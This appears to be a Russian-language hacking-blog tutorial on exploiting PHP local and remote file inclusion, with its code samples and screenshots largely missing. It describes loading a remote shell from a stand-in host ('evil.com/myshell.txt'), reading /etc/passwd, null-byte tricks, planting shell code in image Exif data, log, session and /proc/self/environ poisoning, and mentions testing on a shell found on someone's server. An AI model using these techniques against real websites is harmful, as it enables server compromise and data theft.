BХ04 LFI/RFI

lfi

Мы переходим к изучению атак remote/local file inсlude. Материалов по этой теме не так много, как по теме SQL-инъекций, поэтому собрать все в одном месте было чуть проще.

Введение.

Возможность провести атаку зависит от того, насколько хорошо фильтруются переменные в выражениях:

  • include()
  • include_once()
  • require()
  • require_once()

В атаках file include играют значение версия php,  настройки в php.ini и версия ОС, на которой крутится веб-сервер.

Простейший пример уязвимого скрипта:

Мы можем подключить к выполнению удаленный файл, передав в параметр file "http://evil.com/myshell.txt" (это будет RFI):

или файл на сервере "/../../../../var/log/httpd/error_log" (это будет уже LFI):

В чем разница между LFI/RFI можно понять по этой схемке:

LF

Как мне кажется, все довольно понятно.

RFI.

Как уже было описано выше, удаленный инклюд зависит от того можно ли подключить к исполнению удаленный файл.

Классический вариант эксплуатации довольно прост:

В shell.txt должен лежать исходный код шелла (ну или код, который вы хотите исполнить).

Если к переменной подставляется расширение или какой-то путь:

То это по сути ничего не меняет. В первом случае, мы просто переименовываем текстовик с кодом шелла в shell.html, и пишем так

Во всех остальных случаях, можно просто дописать знак вопроса ("?") или хеш ( "#" в urlencode - "%23"). В первом случае сервер будет считать, что все что идет после "?" это параметры и их значения, во втором случае - просто отбросит все после хеша.

Если http, https, ftp, ftps фильтруются, то можно попробовать использовать другие URL-протоколы (документация). Хотя это уже сложно назвать RFI, потому как подключаемые файлы находятся не на удаленном сервере, а передаются непосредственно в запросе.

К примеру, для инклюда через протокол data://, мы можем написать следуещее:

Для инклюда через протокол php://, мы посылаем такой запрос (через Burp Suite, например):

Также, с помощью этого протокола, мы можем читать содержимое файлов (http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html)

Есть и другие протоколы, которые в теории могут быть использованы (например except - http://insecurety.net/?p=724) для эксплуатации инклюда.

Ограничения в использовании URL-протоколов:

Протокол allow_url_fopen allow_url_include PECL
http/https true true
ftp/ftps true true
data true
php true
file
zlib/zip/bzip2 true
glob
phar
ssh2 true PECL
rar PECL
ogg PECL
except PECL

Все, как описано в документации по php.

LFI.

Если перед переменной в инклюде есть какие-то данные, то мы уже не можем подключить удаленный файл:

Как бы мы не хотели, но даже если включены директивы allow_url_fopen и allow_url_include, мы все равно не сможем подключить файл со своего сервера (либо воспользоваться url-протоколами).

Зато, мы можем поместить наш код в один из файлов на атакуемом сервере и подключить его через инклюд. Главное, чтобы он был доступен на чтение.

Чтение файлов.
Все что не является php-кодом, выводится при подключении через инклюд, как есть. Используя это свойство , мы можем читать содержимое файлов, который нам обыкновенно не доступны для чтения, например .htaccess, .htpasswd и прочие (например, защищенные basic-авторизацией).

Если мы хотим прочесть файл, который находится ближе к корню, мы можем использовать сочетание "../", чтобы подняться по дереву каталогов:

И если файл /etc/passwd доступен для чтения, то мы увидим его содержимое.

Инклюд загружаемых файлов.
Если на сайте есть возможность заливать какие-нибудь файлы (картинки, музыку, видео, документы), или данные от пользователя попадают в файл (чатик или гостевуха на файлах), то мы можем внедрить свой код в эти файлы (просто дописав его в конец файла), и легко проинклюдить:

Если, же картинки проверяются на валидность, то мы впишем код шелла не просто в конец файла, а в Exif-данные картинки. Я воспользовался программой Exif Pilot:

1

Затем инклюдим нашу картинку и видим что код исполнился:

0001

Вот вам LFI-XSS )))

Обрезаем расширение, (null-byte и прочие методы).
К переменной  в инклюде может подставляться расширение файла:

В таком случае, для инклюда того же /etc/passwd, необходимо каким-то образом откинуть расширение. Обыкновенно для этого используется нуллбайт:

Но, на сегодняшний день, это становится почти такой же редкостью, как register_globals=On.
Для примера, я нашел шелл, где стоит php версии 5.1.6. Залил такой скрипт:

Пробуем проинклюдить /etc/passwd - пустой экран.
Добавляем нулл-байт:

1233

Существуют альтернативы нулл-байту, которые иногда срабатывают, а иногда нет (зависит от версии php и ОС, на которой крутится сервер, их настроек и фазы луны). Прочтите на досуге:

  • http://raz0r.name/articles/null-byte-alternative/
  • http://intsystem.org/412/issledovanie-php-include/ (!)
  • http://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html

Инклюд логов.
Мы также можем внедрить свои данные в логи. Это могут быть логи апача (аccess_log, error_log), логи ftp-сервера, ssh-сервера или еще какого приложения (например отдельного веб-приложения, которое пишет статистику по посещениям в файлы).

Делаем такой запрос (используя Burp Suite):

Наш Http-запрос попадает в лог ошибок апача (так как мы обращаемся к несуществующей странице). Нам остается только проинклюдить эти самые логи:

Используем лог ошибок, потому как лог посещений может просто не загрузиться.

Большая подборка стандартных путей расположения логов:

  • http://forum.antichat.ru/threads/324564/

/proc/self/environ
В *nix-системах каждый процесс имеет свою собственную запись в /proc. В свою очередь, /proc/self,  – это символическая ссылка и неизменяемый путь,
содержащий инфу для недавних процессов.

Самое главное заключается в том, что очень легко исполнить любой свой код, подключив /proc/self/environ. Малость редактируем Get-запрос в Burp Suite:

0123

И кодес, который мы внедрили успешно выполняется:

001

С помощью того же /proc, мы можем подключить логи. Нужно лишь проинклюдить следующие файлы:

2 и 7 это ярлыки на логи апача.
Отправляем хитрый пакет через Burp Suite:

И если логи доступны для чтения, то мы увидим вывод phpinfo().

Файлы сессий.
Можно внедрить свои данные в сессию. Например есть такой код:

Передаем в параметр var код, который мы хотим исполнить:

По умолчанию, файлы сессий хранятся в /tmp/, но в нашем случае они хранятся по другому пути:

23

Также, мы легко можем узнать, в каком именно файле хранятся данные нашей сессии. Если в Cookie лежит:

То мы просто дописываем "sess_" к значению. И делаем инклюд:

123123

Все сработало... Шикардос.

Экзотика. Инклюды через мыло и инклюд с помощью phpinfo().
Есть экзотичный способ инклюда, основанный на том, что пользователь может менять содержимое отправляемых писем, а unix-системы в свою очередь могут сохранять такие письма локально. И эти самые письма и подключаются через LFI.
Полное описание: https://xakep.ru/2009/09/17/49508/ (Полезное мыло)

Инклюд с помощью phpinfo() заключается в том, что мы льем файл на страницу с phpinfo(), с помощью него же, узнаем его местонахождение и через заранее найденную LFI подключаем свежезалитый файл.
Полное описание: https://xakep.ru/2012/01/25/58183/

Если вы ознакомитесь с материалами в конце статьи, то Вы будете в курсе практически всего, что есть в паблике по теме LFI/RFI.

Софт

Что касается софта, то не могу порекомендовать ничего конкретного. Я использовал в основном Burp Suite, иногда - самописные скриптики. Хотя софта для поиска и раскрутки LFI/RFI навалом:

  • https://code.google.com/p/fimap/downloads/list
  • https://github.com/P0cL4bs/Kadimus/
  • https://code.google.com/p/lfimap/
  • https://github.com/m101/lfipwn
  • https://github.com/rotlogix/liffy

Попробуйте, может вам что-то подойдет.

Ссылки

Более интересные (чем эта статья) материалы по LFI/RFI:

  • include | include_once | require | require_once
  • http://php.net/manual/ru/wrappers.php
  • http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html
  • http://kaoticcreations.blogspot.com/2012/01/burp-suite-part-vi-more-fun-exploiting.html
  • http://kaoticcreations.blogspot.com/search/label/LFI
  • http://raz0r.name/articles/null-byte-alternative/
  • http://intsystem.org/412/issledovanie-php-include/ (!)
  • http://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html
  • http://forum.antichat.ru/threads/324564/
  • https://xakep.ru/2009/09/17/49508/
  • https://xakep.ru/2012/01/25/58183/
  • http://insecurety.net/?p=724
  • https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  • https://rdot.org/forum/showthread.php?t=343
  • http://forum.antichat.ru/threads/232773/
  • http://forum.antichat.ru/threads/71902/
  • http://forum.antichat.ru/threads/18368/
  • https://hpc.name/thread/30214/p1.html
  • http://habrahabr.ru/company/xakep/blog/112691/